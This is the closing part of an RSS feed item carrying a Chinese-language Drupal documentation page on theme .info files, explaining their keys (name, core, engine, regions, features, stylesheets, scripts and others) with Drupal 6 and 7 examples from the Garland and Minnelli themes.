      <description>&lt;p&gt;.info文件是一个静态文本文件，用于主题的定义和配置。info文件的每一行都由一个键值对构成，例如name = my_theme。分号用来表明注释。有些键使用一点特别的语法：用中括号把一组相关内容组合为一个列表（类似数组）。如果你对数组不了解，可以看看Drupal核心主题中的.info文件，阅读其中的解释。即使.info文件并没有一个典型的缺省编辑工具，可以在Mac上使用TextEdit或者在Windows中使用Notepad来查看、编辑或者修改。&lt;/p&gt;

&lt;p&gt;注意本节讲解的.info文件是Drupal主题相关的，而不是模块中使用的info文件。可以在&lt;a href=&#34;https://www.drupal.org/developing/modules&#34; target=&#34;_blank&#34;&gt;模块开发指南&lt;/a&gt;的&lt;a href=&#34;https://www.drupal.org/node/542202&#34; target=&#34;_blank&#34;&gt;编写info文件&lt;/a&gt;学习模块中info文件的写法。&lt;/p&gt;

&lt;p&gt;举例&lt;/p&gt;

&lt;p&gt;下面的例子是一个Drupal 6中Garland主题的.info文件&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = Garland
description = Tableless, recolorable, multi-column, fluid width theme (default).
version = VERSION
core = 6.x
engine = phptemplate
stylesheets[all][] = style.css
stylesheets[print][] = print.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;##主题命名规则&lt;/p&gt;

&lt;p&gt;名字应该以字母开头，可以包含数字和下划线，不应含有连字符、空格以及标点。这个名字会被Drupal以&lt;a href=&#34;http://us3.php.net/manual/en/language.functions.php&#34; target=&#34;_blank&#34;&gt;PHP函数&lt;/a&gt;的方式来使用，所以需要遵循同样的规则。需要注意的是，不要同其他的主题或者模块重名。对于本地的主题，使用一个前缀来保证命名的唯一性是个好办法，例如example.com的主题可以叫做ex_themename。&lt;/p&gt;

&lt;p&gt;.info文件会被缓存，因此对这个文件的修改需要&lt;a href=&#34;https://www.drupal.org/node/337176&#34; target=&#34;_blank&#34;&gt;清空缓存&lt;/a&gt;才能获得正确的结果。&lt;/p&gt;

&lt;p&gt;.info文件也可以指定Drupal管理界面如何设置主题。&lt;/p&gt;

&lt;p&gt;##编码&lt;/p&gt;

&lt;p&gt;文件必须用UTF-8无BOM的方式进行保存。&lt;/p&gt;

&lt;p&gt;##内容&lt;/p&gt;

&lt;p&gt;Drupal能够识别下面的键，如果info文件重没有包含某些可选键，Drupal会使用这些键的&lt;a href=&#34;https://www.drupal.org/node/171206&#34; target=&#34;_blank&#34;&gt;缺省值&lt;/a&gt;。在核心主题中有相应的&lt;a href=&#34;https://www.drupal.org/node/171205#example&#34; target=&#34;_blank&#34;&gt;例子&lt;/a&gt;可供参考。&lt;/p&gt;

&lt;p&gt;###name&lt;/p&gt;

&lt;p&gt;现在在内部机读名称之外，可以独立设置可供人阅读的名称。相对于机读名称，这一名称对于可选字符的限制较少。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = A fantasy name
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###description&lt;/p&gt;

&lt;p&gt;对主题的简短描述。这段描述会在位于&lt;strong&gt;&amp;ldquo;Administer &amp;gt; Site building &amp;gt; themes&amp;rdquo;&lt;/strong&gt;的主题选择页面显示。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;description = Tableless multi-column theme designed for blogs.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###screenshot&lt;/p&gt;

&lt;p&gt;这个可选键告诉Drupal在哪里找到这个主题的缩略图，同样用于主题选择页面。如果这个键被省略，Drupal会在主题目录中查找&amp;rdquo;screenshot.png&amp;rdquo;文件。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;screenshot = screenshot.png
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;参考：&lt;a href=&#34;https://www.drupal.org/node/11637&#34; target=&#34;_blank&#34;&gt;为管理页面创建截图&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;###version&lt;/p&gt;

&lt;p&gt;version在主题被打包发布时会由drupal.org自动添加。所以如果要创建要发布到官网的主题，可以省略这一内容。然而，如果你的主题不准备在官网发布，就可以随便使用什么字符串来给这个键赋值了。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;version = 1.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###core&lt;/p&gt;

&lt;p&gt;从Drupal 6以后，所有的主题和模块的.info文件必须指明兼容的Drupal核心的主版本。这个值会同&lt;a href=&#34;http://api.drupal.org/api/constant/DRUPAL_CORE_COMPATIBILITY&#34; target=&#34;_blank&#34;&gt;DRUPAL_CORE_COMPATIBILITY&lt;/a&gt;这一常量进行比较。如果不符合，这个主题会被禁用。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;core = 6.x
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;http://drupalcode.org/project/drupalorg.git/blob/refs/heads/6.x-3.x:/drupalorg_project/plugins/release_packager/DrupalorgProjectPackageRelease.class.php&#34; target=&#34;_blank&#34;&gt;drupal.org打包脚本&lt;/a&gt;会根据Drupal核心版本为每个发布节点自动设置这个值，所以用户从drupal.org下载主题时总会得到正确的版本。对于其他方式的下载和安装，这个项是很有帮助的。&lt;/p&gt;

&lt;p&gt;###engine&lt;/p&gt;

&lt;p&gt;主题所使用的引擎。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6&lt;/strong&gt;：如果没有指定这个值，会假设这个主题是独立的，也就是用“.theme”实现的。多数主题会使用phptemplate作为缺省引擎。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt;：Drupal 7中用PHPTemplate为缺省引擎，这一行不再必要。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;engine = phptemplate
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###base theme&lt;/p&gt;

&lt;p&gt;子主题可以声明一个基主题。这使得主题可以继承，意味着基主题的的资源可以在子主题中进行复用。子主题也能够作为其他子主题的基主题，形成多级继承的模式。base theme的值是基主题的机读名称，下面代码来自于Minnelli，Garland的子主题。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;base theme = garland
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/node/225125&#34; target=&#34;_blank&#34;&gt;《子主题，结构和继承》&lt;/a&gt;一文描述了更多细节。&lt;/p&gt;

&lt;p&gt;###regions&lt;/p&gt;

&lt;p&gt;区域的定义来自于主题info中的&amp;rsquo;regions&amp;rsquo;，后面的中括号中代表这个区域的机读名称，值则是标题。例如regions[theRegion] = The region name.&lt;/p&gt;

&lt;p&gt;如果没有定义regions，则会假设使用如下定义&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6的缺省区域&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[left] = Left sidebar
regions[right] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7的缺省区域&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[header] = Header
regions[highlighted] = Highlighted
regions[help] = Help
regions[content] = Content
regions[sidebar_first] = Left sidebar
regions[sidebar_second] = Right sidebar
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用户可以根据自身需求进行定义。&lt;/p&gt;

&lt;p&gt;如果在Drupal 7中进行区域定义，会强制用户定义regions[content] = content。如果需要使用任何缺省区域，也都需要重新定义，这方面内容可以参考&lt;a href=&#34;https://www.drupal.org/node/171224&#34; target=&#34;_blank&#34;&gt;《块，内容和区域》&lt;/a&gt;一文。&lt;/p&gt;

&lt;p&gt;###features&lt;/p&gt;

&lt;p&gt;很多主题输出的页面元素都可以在主题的配置页面上设置开关。&amp;rdquo;features&amp;rdquo;键控制了哪些复选框出现在主题的配置页面上。注释掉部分features，相对应的复选框就会隐藏，然而如果注释掉所有的，那么就会缺省显示所有的复选框。&lt;/p&gt;

&lt;p&gt;下面的例子展示了所有features控制的元素。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6 features&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;primary_links 和 secondary_links被注释，他们对应的复选框会被隐藏。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;features[] = logo
features[] = name
features[] = slogan
features[] = mission
features[] = node_user_picture
features[] = comment_user_picture
features[] = search
features[] = favicon
; These last two disabled by redefining the
; above defaults with only the needed features.
; features[] = primary_links
; features[] = secondary_links
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7 features&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;features[] = logo
features[] = name
features[] = slogan
features[] = node_user_picture
features[] = comment_user_picture
features[] = comment_user_verification
features[] = favicon
features[] = main_menu
features[] = secondary_menu
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;更多细节可以参考&lt;a href=&#34;https://www.drupal.org/node/221905&#34; target=&#34;_blank&#34;&gt;《定制主题设置项》&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;###theme settings&lt;/p&gt;

&lt;p&gt;可以利用info文件中的这一配置来设置features中的选中状态。用&lt;code&gt;settings[toggle_&amp;quot;feature&amp;quot;] = 0&lt;/code&gt; 来设置某个feature为未选状态。&lt;/p&gt;

&lt;p&gt;例如缺省设置：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;settings[toggle_logo] = 1
settings[toggle_name] = 1
settings[toggle_slogan] = 1
settings[toggle_node_user_picture] = 1
settings[toggle_comment_user_picture] = 1
settings[toggle_comment_user_verification] = 1
settings[toggle_favicon] = 1
settings[toggle_main_menu] = 1
settings[toggle_secondary_menu] = 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个设置的更多细节可以参考&lt;a href=&#34;https://www.drupal.org/node/177868&#34; target=&#34;_blank&#34;&gt;《高级主题设置》&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;###stylesheets&lt;/p&gt;

&lt;p&gt;一般来说，主题缺省会使用style.css，并可以利用&lt;a href=&#34;http://api.drupal.org/api/function/drupal_add_css&#34; target=&#34;_blank&#34;&gt;drupal_add_css&lt;/a&gt;的方式在template.php中增加附加的css。Drupal 6开始，主题还可以利用info文件来添加css。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;stylesheets[all][] = theStyle.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在Drupal 7中，主题不再缺省使用style.css。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/node/171209&#34; target=&#34;_blank&#34;&gt;《样式表》&lt;/a&gt;一节提供了这方面的更多信息。&lt;/p&gt;

&lt;p&gt;###scripts&lt;/p&gt;

&lt;p&gt;传统上，主题可以在template.php中使用&lt;a href=&#34;http://api.drupal.org/api/function/drupal_add_js&#34; target=&#34;_blank&#34;&gt;drupal_add_js&lt;/a&gt;来引入js文件。从Drupal 6.x开始，如果主题目录下存在一个名为stript.js的文件，那么这个文件会被自动包含。然而，在Drupal 7中这一行为再次变更，一个脚本文件只有在scripts中声明，才会被导入。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;scripts[] = myscript.js
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/node/171213&#34; target=&#34;_blank&#34;&gt;《JavaScript和jQuery》&lt;/a&gt;一节可以找到更多这方面的内容。&lt;/p&gt;

&lt;p&gt;###php&lt;/p&gt;

&lt;p&gt;这里定义对PHP版本的最低需求。这一项的缺省值来自于常量&lt;a href=&#34;http://api.drupal.org/api/constant/DRUPAL_MINIMUM_PHP&#34; target=&#34;_blank&#34;&gt;DRUPAL_MINIMUM_PHP&lt;/a&gt;，代表核心需要的最低PHP版本。主题可以声明需要一个更高的版本，当然，一般不建议这样做。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;php = 4.3.3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###核心主题的info文件实例&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Garland&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.drupal.org/files/info_display.png&#34; alt=&#34;Garland info&#34; /&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = Garland
description = Tableless, recolorable, multi-column, fluid width theme (default).
version = VERSION
core = 6.x
engine = phptemplate
stylesheets[all][] = style.css
stylesheets[print][] = print.css
; Information added by drupal.org packaging script on 2008-02-13
version = &amp;quot;6.0&amp;quot;
project = &amp;quot;drupal&amp;quot;
datestamp = &amp;quot;1202913006&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Garland的子主题：Minnelli&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = Minnelli
description = Tableless, recolorable, multi-column, fixed width theme.
version = VERSION
core = 6.x
base theme = garland
stylesheets[all][] = minnelli.css
; Information added by drupal.org packaging script on 2008-02-13
version = &amp;quot;6.0&amp;quot;
project = &amp;quot;drupal&amp;quot;
datestamp = &amp;quot;1202913006&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意所有;标记的行之后都是drupal.org的打包脚本生成的，不需要手工添加project和时间戳。第一节中的version是用来从其他途径获取你的主题的用户区别版本需求使用的。&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>
